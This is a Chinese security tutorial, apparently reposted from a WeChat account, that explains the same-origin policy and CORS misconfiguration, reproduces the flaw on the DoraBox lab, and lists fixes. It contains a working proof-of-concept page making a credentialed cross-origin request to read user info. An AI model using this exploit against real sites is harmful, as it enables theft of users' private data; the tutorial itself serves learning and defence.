Cors 跨域漏洞学习与复现

admin 2022年2月23日16:33:36评论1,733 views字数 1699阅读5分39秒阅读模式
1 同源策略
    同源策略用于限制应用程序之间的资源共享,确保一个应用里的资源只能被本应用的资源所访问。
    如果要跨域通信,必须要引入跨域资源共享,如果没有正确配置,就会导致漏洞产生
    同源是指协议,域名,端口三个都相同,即使是同一个ip,不同域名也不是同源,同源策略里允许发出请求,但是不允许访问响应

2 同源示例
    设 http://test.com/a/123.html 源
http://test.com/a/asd.html  同源  路径不同http://test.com/abcvb/123.html  同源  路径不同http://test.com/abc/123458.html  同源  路径不同https://test.com/a/1234.html  不同源  协议不同http://test.com:88/a/1234.html  不同源  端口不同http://test.com:82/a/1234.html  不同源  端口不同http://bbb.test.com/a/1234.html  不同源  域名不同,子域名不算同源

3 cors 跨域漏洞
    因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题,cors漏洞一般用于窃取用户敏感数据,如果用户点击触发了恶意页面,就会被窃取数据
一般使用头协议里的两个关键头字段
  • 页面请求数据 Origin
    这个Origin 一般用于表明请求的来源位置,表明该请求来源于哪里,格式为 请求协议+域名+端口
  • 页面响应数据 Access-Control-Allow-Origin
    这里一般用于表明哪些域的请求是允许的,表明允许那里的请求
Access-Control-Allow-Origin这里有不同的设置
  • 当设置为*时,代表允许任意请求访问资源 
  • 一般会指定一个域,允许该域访问,例如 Access-Control-Allow-Origin: http://www.aaa.com:80
也有特殊情况,当Access-Control-Allow-Origin设置不固定,通过根据用户的跨域请求来设定,此时和设定为*没什么区别,任何网站都可以获取该服务端数据了

4 漏洞复现
这里我们使用DoraBox靶场环境进行复现
https://github.com/Acmesec/DoraBox
Cors 跨域漏洞学习与复现
访问漏洞链接,可以看到Access-Control-Allow-Origin设置为*,存在漏洞。
Cors 跨域漏洞学习与复现
构建利用代码
<html><head><meta charset="utf-8"><title>CORS跨域</title></head><body><script type="text/javascript">function cors() {  var xhttp = new XMLHttpRequest();  xhttp.onreadystatechange = function() {        if (this.status == 200) {        alert(this.responseText);            }  };  xhttp.open("GET", "http://xx.xx.xx.xx:8000/csrf/userinfo.php", true);  xhttp.withCredentials = true;  xhttp.send();}cors();</script></body></html>
本地访问,模拟受害者点击恶意链接。
Cors 跨域漏洞学习与复现
 成功触发弹窗,获取用户信息。

5 漏洞修复
  • 对于orgin域名进行严格限制,可信域名限制。
  • 不要配置Origin:*和Credentials: true

6 参考文章
https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247514210&idx=1&sn=472a9fe600ca174b8c7bbddbbf080259https://www.freebuf.com/articles/web/204023.html

原文始发于微信公众号(Reset安全):Cors 跨域漏洞学习与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月23日16:33:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cors 跨域漏洞学习与复现http://cn-sec.com/archives/799301.html

发表评论

匿名网友 填写信息